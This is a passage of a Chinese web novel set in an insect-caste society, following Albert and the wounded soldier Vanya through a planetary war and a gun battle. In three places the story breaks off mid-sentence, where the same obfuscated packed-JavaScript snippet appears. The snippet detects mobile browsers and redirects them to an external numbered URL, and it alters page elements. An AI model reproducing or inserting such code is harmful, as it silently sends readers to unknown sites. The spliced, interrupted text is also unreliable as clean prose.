阿尔贝将医药箱中找到的外伤药撒在伤口上,再将伤口包扎起来。尽管他已经努力放轻了动作,避免扯到伤口,但处理完后紧闭双眼的凡亚依旧渗出了满头冷汗。 阿尔贝猜测,除了明显的外伤,凡亚可能还因炮火冲击受了内伤,这才是导致凡亚昏迷不醒的主要原因。但这里没有治疗仓,城市功能瘫痪也没办法把凡亚送到医院,阿尔贝也只能帮他处理到这一步。 “希望你能好起来……”阿尔贝看着凡亚苍白的脸低语,用毛巾轻轻擦拭他额间的冷汗。 可能是阿尔贝的动作太过温柔,凡亚拽住他的手贴在脸颊上蹭了蹭,意识不清地呢喃:“雌父,乖宝好疼,你怎么不哄我……” 7. 相遇克洛维尔星(七) 凡亚紧闭着眼,嘴里却还在重复。 乖宝?雌父? 阿尔贝沉默片刻,妥协了:“……乖宝,等会儿就不疼了。睡吧,我就在这守着你。” 他还没上高中,就因故当“爹”。 阿尔贝坐在床边,静静等凡亚睡熟,不然他把手从凡亚脸下一拿开,凡亚嘴里就直哼哼。 应急灯被调到最低那档,卧室内从明亮瞬间变得昏暗,阿尔贝的眼睛过了一会儿才适应。惨淡冷白的光让凡亚的脸色更显苍白憔悴,模糊了凡亚棱角分明的骨骼,生出些破碎的脆弱感。 阿尔贝的目光落在凡亚的脸上,细细打量这个救过他三次的雌虫。初遇时产生的偏见让他从未认真看过凡亚的模样,那时凡亚在他心中只是个张扬闹事的混混,即使在他面前凡亚又是另一种样子,他也只以为凡亚是在伪装,只想着事后用一大笔钱了结关系然后从此再无牵扯,甚至因此连自己的名字都未告知。 其实,仔细看过凡亚模样的虫,都不会对他生出厌恶。首先他的骨相就生得极好,符合标准的三庭五眼和三高五低。如果让阿尔贝选写生模特,那么凡亚会是他最喜欢的那种,骨骼的光影和教科书上的大差不差,可以完美应用所学的绘画技巧。 但相比棱角分明的骨骼,凡亚的皮相又柔和了下来。眉如墨染,两条笔直的剑眉斜飞入鬓。双眼大而舒展深邃,眼睑泛着淡淡的粉,蔓延到若隐若现的卧蚕上,眸光流转时眼睛坚定有神。鼻梁修挺如峰,撑起眉眼的浓颜。唇形精巧,唇峰微翘,嘴角上扬处细看落了一颗不太明显的小黑痣。 阿尔贝忍不住用手指轻轻搓了搓,确实是小黑痣而不是在外面沾到的黑灰。他才发现凡亚嘴角的这颗小痣,也只有近距离认真看时才不会这么小颗的黑痣忽略过去。 凡亚的呼吸声渐渐平稳,阿尔贝小心地一点点挪动被凡亚压着的手,待完全抽离后凡亚依旧安睡如常,阿尔贝这才放松下来。他将手背轻轻贴向凡亚的额头,触感微凉,但好在没有发烧。 夜已深,折腾了一天的阿尔贝早就精疲力尽,困倦上涌,眼中不由泛起雾蒙蒙的水光。 这套新换的房子不仅环境好了很多,面积也大了不少,起码卧室变成了两间。按理说此时阿尔贝应该回隔壁房间睡觉,但凡亚伤得这么严重,很难保半夜不会发起烧来,又意识不清,无法照顾自己……凡亚是多次救了他的雌虫,阿尔贝无法做到撇下受伤的凡亚。 这里不是宿舍,自然一个房间只有一张床。床不算小,凡亚躺下后也还能容纳下一个他。但凡亚与他,说到底也只是才认识了几天并不算熟悉的雌虫和雄虫。即使是熟悉的关系,他也不能不经凡亚同意,在凡亚昏睡时,自作主张和凡亚睡到同一张床上。 之前他让凡亚陪他又不想让凡亚和他睡在一张床上,是出于戒心,而他现在的坚持,只是想给予凡亚足够的尊重。 这不是封建时代没有那么多糟粕思想束缚,他也不打算对凡亚做什么亲密的事,他们睡在同一张床上其实和昨天死掉的两个雌虫躺在同一处地板并没有实质区别。但,床代表的意义终究特别,是私密的边界线,阿尔贝不想不询问凡亚就径自闯入他的私密地界。 昨晚阿尔贝问凡亚介不介意睡在卧室的地上,身强力壮的凡亚搬来了沙发作为替代方案。但沙发对于阿尔贝太过沉重,他用尽力气也只能稍稍推动。所以,搬不动沙发的阿尔贝只能选择在床边打地铺。 地上虽然铺了被褥但依旧比不上床垫的舒适,阿尔贝睡得很浅,时不时还会起来摸摸凡亚的额头,确认他是否有发烧。因而当半夜凡亚的光脑发出嗡嗡几声的时候,他立刻就被惊醒。 凡亚的光脑在昏暗的房间内亮起,不一会儿又暗了下去。 阿尔贝可以确定,刚刚凡亚的光脑接收到了别的虫发给他的信息!也就是说,凡亚的光脑有信号! 阿尔贝立刻查看自己的光脑,但依旧没有信号,无法和外界联系。 他一下子就意识到,凡亚的光脑和他的光脑不一样!在民用信号被全面切断的情况下,只有政府和军队的特殊通道不受影响,可以在内部交流。 回想起他问凡亚入侵者是谁时,凡亚的判断依据就是战机的制式。他当时只以为凡亚是军事武器爱好者,才会对战机制式如此清楚。但现在想来,凡亚很有可能是在外执行秘密任务的军雌。 现在凡亚还在熟睡,他自然不可能把凡亚喊起来只为确定他的猜想。当然,即使他问了,凡亚大概率也不会回答。 军方、外族、穿白罩袍的那伙虫,可能还有别的他不知道的势力,他们都聚集在克洛维尔星中心城繁花市集附近。 阿尔贝可以肯定的是,繁花市集附近并没有任何够得上军事战略意义的地点。那么,这些势力聚集在此的目的是什么?是在找什么虫?找什么东西?还是在策划什么? 阿尔贝猜度着其中隐藏的秘密,却毫无头绪。他没有消息来源,即使他才智无双也无法凭空得出答案。况且,也没有虫来告诉他答案的对错,一切都靠他自己的推断。 战争或许只是表象,内里不为他所知的诡谲阴谋或许才是真实目的。 阿尔贝意识到,他和这里所有普通民众一样,都陷入到深不可测的漩涡中。在众多势力波涛汹涌的明争暗斗下,他是所谓的雄虫阁下,但也只是一个不起眼的普通D级雄虫,只能被迫卷裹其中无法脱身,他甚至不知道自己是否也会成为斗争的无名牺牲品。 阿尔贝心底发冷,只感觉数双强势的大手牢牢掌控着他们的命运。上层势力的轻微拨动,或许就是无数普通民众的死亡悲歌。接二连三的遇险,让他都不能确定自己在这场无妄之灾中是否能顺利活下来挺到秩序恢复的时候…… 睡梦中的阿尔贝依旧被脑中各种念头纠缠,直到他耳中敏锐捕捉到身边的细微动静,瞬间就从梦中清醒。他猛地睁开眼,刚好对上凡亚的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723234|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,视线下移,是凡亚伸在半空中凝滞的手。天亮了,凡亚也醒了过来。 凡亚立刻将手收了回去,翻身下床半跪在阿尔贝身旁:“雄虫阁下,很抱歉我昨晚没有尽到职责照顾好您。”他顿了顿,“您……怎么睡在这里?是房间不合您的心意吗?” 阿尔贝:“没什么,我只是睡在你身边比较安心。”他将手贴在凡亚的额头上,温度如常,“看样子你现在的精神还不错?” 凡亚一怔,垂下眼,长睫毛遮住了眼中的神色,恭敬地回答:“是,还要多谢您的照顾。”想到阿尔贝刚刚说的话,他又说:“我之后会像前天晚上一样在您房间守护您。” “像前天晚上一样?”阿尔贝视线落在凡亚仍有些苍白的脸上,“你要睡沙发?” 凡亚:“如果您介意,我也可以睡在地上。” 阿尔贝突然说:“凡亚,我的名字是阿尔贝。” 凡亚眼中闪过疑惑,他不知道阿尔贝为何会介绍起自己的名字,不过这对他并没有什么不同,只是称呼上有所改变:“是,阿尔贝阁下。” “我还不至于让因救我而受伤的虫连床都不能睡。”阿尔贝说,“所以,你要睡到床上去。” 凡亚意识到了阿尔贝突然告知名字的意思,个体与个体之间羁绊产生的开始就是交换名字。有了名字,和“这个虫”“那个虫”就有了区别,成了特殊的那个。只是…… 凡亚错开阿尔贝的视线:“请您放心,我已经好了,不睡床也不会有什么影响。” 阿尔贝默了默,幽幽地说:“乖宝,你雌父难道没教过你要保护自己的身体健康吗?” 凡亚愣了一下才猛地看向阿尔贝,眼睛中是藏不住的惊愕、尴尬、羞窘。 “你昨晚……”阿尔贝忍不住勾起嘴角,眼中克制不住地溢出笑意,“迷迷糊糊说的话很可爱。” 凡亚又垂下眼,微微偏过脸:“……您不介意的话,也可以和我睡在一张床上。” 阿尔贝不置可否,站起身拍了拍床:“上来,我帮你换药。” 凡亚犹豫的目光扫过阿尔贝和床面:“我……” 阿尔贝:“快点,你难道背后长了手和眼睛吗?” 凡亚闭了闭眼,深吸一口气趴到床上,快速说道:“麻烦您了,阁下。” 阿尔贝小心查看伤口,昨天还伤势可怖的地方,今天竟然已经长出了粉色的新肉,阿尔贝不得不赞叹雌虫的恢复力真是强大。 虽然阿尔贝昨晚已经给凡亚的后背上过一次药,但白天换药又有所不同。昨晚凡亚意识不清,他也光顾着紧张凡亚的伤势,根本没心思顾及其他的。而现在,天光大亮,虽然拉着窗帘,但是室内依旧明亮。阿尔贝眼尖地瞟到凡亚紧抿的唇和蜷缩捏在一起的手指。 “很疼吗?”阿尔贝蹙眉,有点怀疑自己上药包扎的动作是否太过粗暴。 “不、不是,并没有。”凡亚将头侧到另一边。 8. 相遇克洛维尔星(八) 阿尔贝看到凡亚耳朵尖红得有点不正常才意识到,凡亚这是……不好意思了? 他加快了动作,迅速上完药又将伤口包扎好。 等收拾好,吃过营养液,凡亚就又要出门。 阿尔贝惊讶:“你伤还没好就又要出去?” 凡亚:“是,我必须要出去一趟。” 阿尔贝想到凡亚半夜收到的那条信息,明白这可能和凡亚收到的指令有关。他说不出阻挡的话,也做不出非要跟出去看似想好心照顾凡亚实则当累赘的事,只能让凡亚自己小心。 于是阿尔贝开启独自在家第三天。 可能是这个小区的环境比上一个好太多,没有那么多复杂的虫来往,阿尔贝小心戒备了一整天,但并没有虫上门找事。 等凡亚回来时给他带来一个消息:“外面有一伙虫拿着照片在到处找您,他们说是您的亲属派来的……” 阿尔贝下意识想到迈德雌叔,内心涌出欣喜。 “不过,他们拿着的照片……”凡亚抿了抿唇:“似乎是中学的毕业生照片。” 阿尔贝的脸色倏然沉了下去,眼中的欣喜荡然无存。 大部分学校都会为毕业生制作纪念相册,并放在官网上售卖,毕业生可以自行购买,阿尔贝毕业的初中也是如此。 但购买不需要身份验证,即使不是那一届的毕业生,也可以花钱买到纪念相册,因而每年都会有雌虫为了心仪的雄虫而买那一届的纪念相册。 同样,别有居心的虫也可以通过学校官网购买到纪念相册,里面有那一届所有毕业生的照片,自然也有阿尔贝的照片。 迈德雌叔照顾他多年,更是在光脑里存了他许多照片。如果迈德雌叔托别的虫找他,根本不会专门去翻学校纪念册里的照片。 也就是说,有一伙不明势力在到处找他! 阿尔贝:“他们应该是在说谎。” “是。”凡亚说出他的判断,“他们看样子长期接受体能训练,手中有枪,每一个虫眼神中透露出的,都是经常过刀尖舔血的日子才会有的神态。” “星盗?”阿尔贝听凡亚这么说,便已经肯定这伙虫不会是政府机构派出的搜救队。也是,他不过是一个D级雄虫,连B级都够不上,在这样混乱的局势下,能让政府专门派虫出来找的,恐怕也就只有A级和S级雄虫了。 “很有可能是。”凡亚说,“您……克洛维尔星战乱的消息外界应该已经知道了,浑水最适摸鱼,不知道您家中近期是否有纷争?” 凡亚的猜测几乎是有目的性雄虫绑架案最多的作案动机,对于阿尔贝这个年纪的雄虫阁下,无外乎家中长辈的敌对势力趁机下手,或是家中暗斗起的纷争。 阿尔贝按这个思路想了想,他的雌父已经战死,雌兄失踪,只有一个喜欢对着雌侍雌奴“展露雄姿”的雄父。家中不可能会有什么政敌、对手之类,更不可能会有雌虫想抢夺他雄父的宠爱而对他下手,就乔特德那样的,呵呵…… 阿尔贝没有头绪,摇了摇头。 凡亚了然:“那应该就是觊觎您的美貌而有预谋性的绑架。” “哈?”阿尔贝目瞪口呆,实在不知道凡亚是怎么得出这个推测的。 凡亚满脸认真地严肃追问:“您是否有狂热追求者?如果您有名单,那么怀疑范围可以缩小一些。” 阿尔贝木着脸:“没有。”再狂热的追求者也不可能顶着战火追到这来。 凡亚:“请您认真回想……” “凡亚,”阿尔贝打断他,“总之,无论是谁,我都不可能跟着他们走。” 阿尔贝的目光落在凡亚身上:“倒是你,现在需要躺到床上,我给你换药。” 凡亚:“雄虫阁下,我已经基本好了……” 阿尔贝已经拿出了医药箱,站在床边盯着他。 凡亚认命地走到床边,解开衬衣扣子。他仍旧是那副混混打扮,粉色的头发有些掉色,棕色的发根比前几天露出来更多,身上穿的还是花衬衫,只不过不像之前那件有褪色发白的地方,在脱下衣服后露出了肌肉线条分明的背脊。他半.裸上身趴到床上,脸深埋在枕头里,只露出耳朵在外边。 阿尔贝剪开包扎伤口的纱布。尽管凡亚在外折腾了一天,但比起早上,伤口又愈合了许多。雌虫的愈合力真是强得令他惊叹。 阿尔贝知道凡亚不自在,有了前两回上药包扎的经验,这回他更加迅速地完成了全过程。 毕竟,已经快锻炼成熟练工了。 城中的民用能源供应还没有恢复,也不知道多久才能正常供应。应急灯中的能源有限,他们不得不节省着用,在服用过晚上这顿营养液后就早早关了灯。 外面刚结束一轮轰炸,黑暗中,房间内安静得只剩下呼吸声。 新住处有两间卧室,但最后他们却还是挤在了一块。阿尔贝躺在里边,紧贴着墙,凡亚躺在外边,身后就是床沿,中间留得空隙挤挤还能再塞一个成年虫。 明明阿尔贝才到克洛维尔星几天,却感觉已经像过了几个月。突如其来的战争打破了他原有的计划,更让他心生彷徨的是,不知道这样朝不保夕的日子还要坚持多久。 他翻了个身面向凡亚,忍不住问:“凡亚,你觉得战事还要多久能平息?” 这个问题很难回答,可能几天,可能几月,也可能几年。普通虫在战乱中被切断了消息来源的通道,很难判断战争的整体进程和走向。但凡亚身处其中,是多方势力斗争中一颗撒出去的棋子,内心应该是对这场战乱纷争的原因有清晰的猜测,可这些猜测的来源必然涉及到机密。 阿尔贝也不知道凡亚会透露多少,他只是对自己的未来处境心中没有底,在战争的压抑下想要和别的虫说说话放松一下心情罢了。 应急灯已经关了,室内没有太多光亮,阿尔贝只能隐隐看到凡亚的轮廓,像黑暗中的影子,看不清表情,只能从话语中感知到他的反应。 凡亚:“雄虫阁下,等军队的增援到了就会控制住克洛维尔星的情况,用不了多久。” 阿尔贝:“用不了多久是多久?在民用空间跃迁技术已经准备推广的今天……” 凡亚沉默了,回应阿尔贝的只有微不可闻的呼吸声。 阿尔贝在凡亚的沉默中找到了答案。 如果各方势力的目的只是争夺某个虫、某个东西或者谋划某件事,那么中心城最好的状态就是处于混乱中,只有混乱才能暗中得利,而当秩序恢复时一切就又会处于光明下。 军方和中央星政府真的只是还没来得及增援吗?还是在各方势力的牵扯下被迫缓下了脚步?阿尔贝心中有所猜测,却不知能向谁求证。 凡亚的声音又在黑暗中响起:“雄虫阁下,虽然我不能告诉您还有多久您的生活才会恢复正常,但是我会尽我一切所能保护您这段时间的安全。” 他没有轰轰烈烈地赌咒发誓要给阿尔贝保证,但又听起来坚实可靠。 阿尔贝问了一个无关的问题:“凡亚,你的梦想是什么?” 这点,凡亚也没法说。 阿尔贝:“是想要普通虫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723235|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法企及的财富?” 凡亚:“不是。” 阿尔贝:“是想要体贴温和的雄主?” 凡亚:“不是。” 阿尔贝冷不丁问:“凡亚,你是军雌吧?” 凡亚再度陷入沉默。 阿尔贝轻笑,尽管凡亚没有回答他,但他已经从凡亚的反应中猜出了答案:“你的梦想会是成为将军吗?少将?中将?上将?甚至是元帅?” 每个军雌拼尽一生向上攀爬的终极目标无外乎是这些,但并非每个虫都能达成目标。在军衔没有通货膨胀的军队体系里,甚至可以说成为少将已经是绝大多数军雌一生都无法达到的程度。 凡亚声音平静,却又在转移问题:“雄虫阁下,您的梦想又是什么?” 阿尔贝想了想:“我没有什么梦想,不过我雌父希望我长大了不要变成一个无所事事的雄虫,正好我不讨厌做文化调研,所以我想我将来可能会去研究文化相关的内容吧,大学教授听起来会是个体面又有意义的工作。” 他顿了顿:“说起来,我这次来克洛维尔星也是为了完成学校布置的文化调研报告,没想到繁花市集会是你们的目标……” 他这话带着点试探,他一直怀疑众多势力是想在繁花市集所在的街区附近找什么或者干什么。 果然,凡亚又不接话了:“时间不早了,您应该睡觉了。” 阿尔贝听话地闭上了眼睛,因为有凡亚在,他很快就进入了深度睡眠。 不知道是不是因为聊起了军雌的话题,时隔许久,阿尔贝又梦见了自己的雌父。 他的雌父执行任务战死在外的时候,他还很小。多年过去,即使有照片,但在梦里,雌父的面容也是模糊不清,只是他潜意识里知道梦里的那个看不清脸的虫是他的雌父。 熟睡的阿尔贝嘴角弯起,沉浸在梦里的甜蜜幸福中。 但突然,“嘭”! 不知道哪来的炸弹将他的雌父炸得飞了出去,趴在地上一动不动,背部血肉模糊,焦黑一片。 无尽的伤感和难过涌上心头,一瞬间让他仿佛回到了童年得知雌父身死消息的那天。他这才在梦中恍然想起,他的雌父早就死了…… 脸上传来有些粗糙的触感,似乎是有虫在给他擦眼泪。阿尔贝缓缓睁开眼,就看见凡亚被窗外炮火照亮的面容,眼中似有怜爱。 外族的轰炸又开始了,爆炸的火光和巨大的声响在城中四处迸发。这一轮袭击,又不知道有多少无辜虫将命丧于此。 凡亚见阿尔贝醒来就立刻收回了手,但他的声音听上去格外温柔:“别怕,我会保护您。” 阿尔贝一瞬间就绷不住了,嗓子像被浓稠的情绪糊住。 他不想在凡亚面前宣泄内心的脆弱,尽管他刚刚在梦中不小心落泪已经被凡亚发现。 他微张开嘴,吸入空气又缓缓吐出,努力克制、努力平复胸中翻涌的情感,剧烈的情绪波动使得整个上半身都在微微颤动,但这似乎却被凡亚误会了,以为他是害怕炮火声害怕到颤抖。 凡亚甚至主动挪动身体靠了过来,轻轻抚了抚阿尔贝的头发,细声安慰他:“不要担心,我就在您身边,您不会有事的。” 可能是受梦境的影响,阿尔贝恍惚觉得凡亚就像被他雌父附体了一样。虽然那么多年过去,他不仅忘记了雌父的面容,也忘记了雌父的举止言行,他的雌父在他的记忆里只剩下了一种感觉。 而凡亚现在就有种雌父般让他安心的感觉。 他情不自禁开口:“你可以抱一下我吗?” 9. 相遇克洛维尔星(九) 这话刚说出口,阿尔贝自己就先愣住了。 他懊恼,怎么自己一时心神松懈会说出这样的话?请求相识不久的雌虫抱住他实在太过冒昧,何况,一副脆弱求抱的样子和小虫崽有什么区别? 阿尔贝只觉得耳朵瞬间发烫得厉害:“抱歉,我……” 他找补的话还没说完,凡亚的身体就靠近了他,随即又抱住了他,什么也没有再说,只是动作有些生疏地轻轻拍着他的后背。 阿尔贝的话说不下去了,凡亚的气息从四面八方萦绕而来,轻缓地裹住了他,阿尔贝甚至能感觉到凡亚呼出的气流拂过他的发顶。 凡亚的气息如同给他塑造了一个临时安全屋,他浑身紧绷的肌肉和神经都放松了下来,让他忘记了刚刚的伤感和窘迫。翻涌的困意席卷大脑,很快就让他昏昏沉沉。 外边城市里的爆炸声还在不断响起,或远或近,他却像与世隔绝,只沉浸在凡亚温暖安心的怀抱中,不知不觉闭上了眼睛。 “睡吧。晚安,雄虫阁下。”凡亚轻轻叹了一声。 窗外的轰炸还在继续,床上的两个虫距离却已拉近。床仍旧可以塞下三个虫,空出的位置却挪到了床边。 接下来几天,凡亚依旧早出晚归,只是每天回来时身上新增的伤越来越多。 而新住处虽然是中产社区,也侥幸数次都不在轰炸范围内,但是随着局势动荡也渐渐变得不再平静。 这里和老旧小区不同,房门上的猫眼被门外的可视监控所代替,然而能源断供使得可视监控成了摆设,一道房门隔绝了内外的视线。 阿尔贝独自待在家的时候就听到过门被敲响,但当他出声问是谁时,却没有虫回答,即使耳朵贴在门板上也听不到任何动静。过了一会儿,门又被敲响,依然还是同样的结果。 阿尔贝警惕心提到了最大,手枪上膛对准门口,然而这样两次三番后,依旧没有虫踹门闯入。久久,什么动静也没有。但他克制住好奇心,并没有开门查看,而是依旧保持着警惕。 过了半个多小时后,他却突然又听见有虫离开的脚步声,但与此同时,他并没有听见隔壁邻居开关门的动静。 可并非所有虫都能克制住开门查看的冲动。阿尔贝不知具体情况,但是却在宁静的午后突然听见不知道哪传来的凄厉惨叫声。他唯一能确定的是,惨叫来源于并排着的这几栋楼,不是他们这栋楼,就是隔壁楼栋。 他立马就想到了之前的怪事,不禁心底发冷。 发出惨叫的虫试图通过大声呼喊求助,但最终什么结果显而易见。混乱的时局中,每个虫都自顾不暇,又怎么可能会有虫去冒险救他? 惨叫声很快就消失了,周围又恢复成一片宁静,却让阿尔贝感受到了平和表面下的暗潮汹涌。 当一个虫开始打破底线,就会有越来越多的后来者模仿,甚至变得更加激进。到处都有了混乱的倾向。白天,半夜,时不时就能听到哭喊。有的近在咫尺听得心底发麻,有的传过来时已经隐隐约约听不清,感觉像遥远的故事。 “您今天还好吗?”凡亚从外边回来时照旧询问,他今天胳膊被弹片擦伤,衬衫也晕出一片深红血迹。 “还好。”阿尔贝点了点头,拿出医药箱帮凡亚上药。 阿尔贝包扎完伤口后忍不住问:“外面的形势是不是越来越严峻了?” 凡亚抿了抿嘴,沉默片刻,看着阿尔贝认真地说:“您不用太过担心,这样的混乱快结束了,最多再坚持几天。” 这是凡亚第一次给出一个相对明确的时间,阿尔贝不确定他是知道了什么,还是纯靠猜测,但这让他的精神多少振奋了些。 不过也是,克洛维尔星的战乱持续了这么多天,要是中央星的政府和军队还没有动作,恐怕就离下台不远了。 阿尔贝:“那我应该还能赶上高中开学典礼。” 凡亚笑了:“是,您一定可以的。” 不知道是不是因为凡亚说的战乱快结束的原因,接下来几天中心城反而更加的混乱动荡,就像是动物临死前的最后反扑。 阿尔贝经常被突然的轰炸声吓一跳,时不时从上空轰鸣而过的战机也让他变得格外敏感,甚至周边和门口的细小动静也让他反射性的神经紧绷。 还好每晚他缩在凡亚的怀抱中,能感受到让他安心的气息,这才让紧张了一天的身心得到了放松和休息,不至于在战乱中先自我崩溃。 白天凡亚出去后,阿尔贝坐在客厅的沙发上,整个虫却处于戒备中。 不知道是不是他的错觉,似乎今天周边格外平静,轰炸的频率也小了。 突然,一阵急促的脚步声从门外传来,越来越近,听上去有些沉重,并不像凡亚的脚步声那么轻,而且现在也还不到凡亚往日回来的时间。 阿尔贝立刻警惕了起来,手中握着的枪也上了膛。 然而下一秒门开了,进来的却是凡亚! 只是他的状态很糟糕。他一手拿着枪,一手捂着腹部,而手指缝中还在往外溢血。 阿尔贝一惊,连忙过去扶他:“你怎么伤成这样?我来给你上药!” “不用!我们现在立刻就走!”凡亚抓住阿尔贝,就带着他往楼下跑。 阿尔贝还没反应过来,就被凡亚夹着跑。 凡亚的手发冷,却很有力。他的面部肌肉紧绷,嘴唇紧紧抿住,眼神中难掩焦躁。 阿尔贝第一次见凡亚这样紧张,他的心脏也跟着“扑通扑通”跳得厉害。直觉告诉他一定发生了什么或将要发生什么,但也不知道是有虫要来追他们还是这个区域会发生什么糟糕的事。 新住处楼层不低,即使他们努力加快速度,也需要几分钟才能跑下去。 刚下去几层,楼底就传来了上楼的紧促脚步声。凡亚脸色一变,停了下来。 他跳到楼梯间的窗户口朝下观察,刚冒头,就听见砰砰几声枪响打在了窗框上。这下不用确认也知道,楼下来的是敌非友,绝非善类!而从窗户带着阿尔贝飞出去显然也行不通了。 凡亚当即拽着阿尔贝返回楼上,又跑回了他们的住处,只是凡亚却没有带阿尔贝回到房间内。 凡亚呼吸声粗重,他没时间交代太多,直接蹲下把阿尔贝的鞋脱了下来。 怕被楼下追上来的虫听见,他声音有些低:“雄虫阁下,他们的目标是我,您往上边几层跑,安静地躲起来,无论听到什么动静都不要下来。” 他最后看了阿尔贝一眼,“保重!再见了,阿尔贝阁下。”说完,就将阿尔贝往楼上推。 阿尔贝知道自己留下只能成为凡亚的累赘,听话地拼命往楼上跑,顾不上回头,只听见门关上的声音在背后响起,猜测凡亚应该是又回到房间内防守。 他能明白凡亚为什么会跑回来带走他而不是直接逃跑。他和凡亚这段时间一直待在一起,如果楼下那伙虫找不到凡亚,一定会来带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723236|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,而信号阻断凡亚又没办法及时通知他离开。 而现在,那伙虫在住处堵住了凡亚。他暂时安全了,凡亚却恐怕凶多吉少。 阿尔贝没有继续往顶楼跑,而是蹲在上边几层,时刻注意着楼下的动静。 楼下那伙虫已经追了上来,他们似乎在凡亚手里吃了不少亏,并没有上来就把门踹开,而是分列两侧贴着墙站着。 阿尔贝从楼梯中间的缝隙看了一眼就立刻缩回了头,以免被那伙虫发现。不过,那伙虫现在心思全在门内的凡亚身上,根本顾不上别的。 “砰砰砰”!门口几声枪响,而门内并没有什么动静。阿尔贝猜测可能是他们在用枪打门锁。 新住处的门锁虽然还算结实,但也抵挡不了多长时间。 果然,紧接着就是门弹开的声音,然后接连又是一阵枪响。 凡亚和门外的虫打了起来! 阿尔贝攥紧枪柄,手指用力到发白,甚至在轻微颤抖。 下面交战激烈,枪声不断,阿尔贝根本不敢去猜想凡亚还能挺多久,也不知道凡亚是否有后援。 子弹乱射在门框、墙面、家具和周边一切物体上,发出乒呤乓啷的声音,如同一只无形的大手,将阿尔贝的理智搅乱。 他仿佛看到了他雌父当年战死的场景。或许不是同样的地方,或许不是同样的情景,但都生还机会渺茫,时刻处于死亡威胁下。 这一刻,凡亚的身影和他雌父重合。他不知道凡亚是否也会走上他雌父的老路,在外执行秘密任务,然后默默无闻地死去,只留给家中等待的亲属一捧火化后的骨灰。 阿尔贝只觉得胸内剧烈的情绪在不断翻涌,心脏如同被攥住一样阵阵发痛。 从理智上讲,他应该听凡亚的,老实藏起来保护好自己,这也和他从小受到的教育一致,雄虫在任何时候都要优先保全自己。 然而情感上,他完全接受不了就这样看着凡亚等死而自己什么都不做!但与此同时,他又本能地畏惧受伤,畏惧死亡,身体因密集不断的枪声而不自觉地发颤。 他恨不得冲下去帮凡亚,但又躲在这里。名义上,是脑中理智的弦拉扯住他,但实际上他也分不清究竟这是理智还是懦弱! 他痛恨此时的他是个懦夫!是个和他雄父一样的废物! 阿尔贝的内心经历着翻来覆去的煎熬,而楼下的枪声却渐渐小了下去。 他注意到了这一点,忍着腿部肌肉不自觉的抽搐,放缓脚步慢慢朝楼下靠近。 枪声停止了,楼内突然变得很安静。 原本住处的门外多了数具尸体,横七竖八地躺在门口,有些脸趴在地上看不清模样,有些仰躺着瞪大了双眼,脸上满是惊恐与不甘。 凡亚的子弹用光了,身上也多了数个血洞,汩汩往外淌血,手都堵不过来。他靠在墙边喘着粗气,目光冷然,死死盯着朝他逼近的两个虫。 这场枪战到现在,凡亚一身伤,而对方也仅剩下两个虫,谨慎地端着枪,面对重伤的凡亚,仍旧一刻也不敢放松。 凡亚嗤笑一声,将手中的空枪丢开,拔出一把匕首。 对面的虫见此放松了不少,冲凡亚喊话:“将X物质交出来!我们就放你活下去……” “砰”! “砰”!“砰”! 话还没说完,就变故突生! 短短几秒,接连三声枪响。几乎同时,凡亚将手中匕首掷出。 10. 相遇克洛维尔星(十) 第一枪,是阿尔贝对准其中一个虫开的。 那个虫当即倒地身亡。 第二枪,是那个虫的同伴反应过来后回身冲阿尔贝开的。 阿尔贝闪躲不及,身上炸开血花。射中了胸口,靠近心脏,但又稍稍偏了一点。 而第三枪,依旧是阿尔贝开的。 他想要在倒下前将剩下那个虫也打死。然而中了一枪的他浑身力气快速流失,已经无法在枪的后座力下保持精准射击。 所以这一枪偏了,最后只射向了天花板。 但剩下的那个虫依旧死了,因为在他转头的一瞬间,凡亚手中的匕首用力掷出,直插他的后脑,刀身深深没入了头骨中。 阿尔贝无力瘫倒在地,口中抑制不住地往外吐血,就像嗓子眼连接了无底洞一样,绝望地吐也吐不完。而胸前被打中的地方也在往外涌血,阿尔贝都不知道自己竟然有这么多血可以流。 “阿尔贝阁下!您坚持住!不要闭眼!”凡亚慌张地将阿尔贝上身扶起靠在自己怀中,用力堵住伤口。 阿尔贝眼前在晃,下意识还以为地震了,想了半天才反应过来是凡亚颤抖得厉害。不过,也可能是他失血过多开始头晕了。血液快速流失让他感觉有点冷,额头和后背在冒冷汗,还有点犯恶心,嗓子里浓郁的血腥味更是让他想吐。 他的视线已经开始模糊不清,蒙着一层白雾,听凡亚说话都感觉像耳朵被套了一层罩子。 凡亚手里不知道拿着什么,硬硬的有点硌。先是往他额头上滚了一圈,又是往他伤口上贴。 他耳边隐隐约约听见凡亚慌乱的声音: “该死!我不知道用法!” “皮肤接触没有用……” “阿尔贝阁下,您快用精神力去感受一下……” 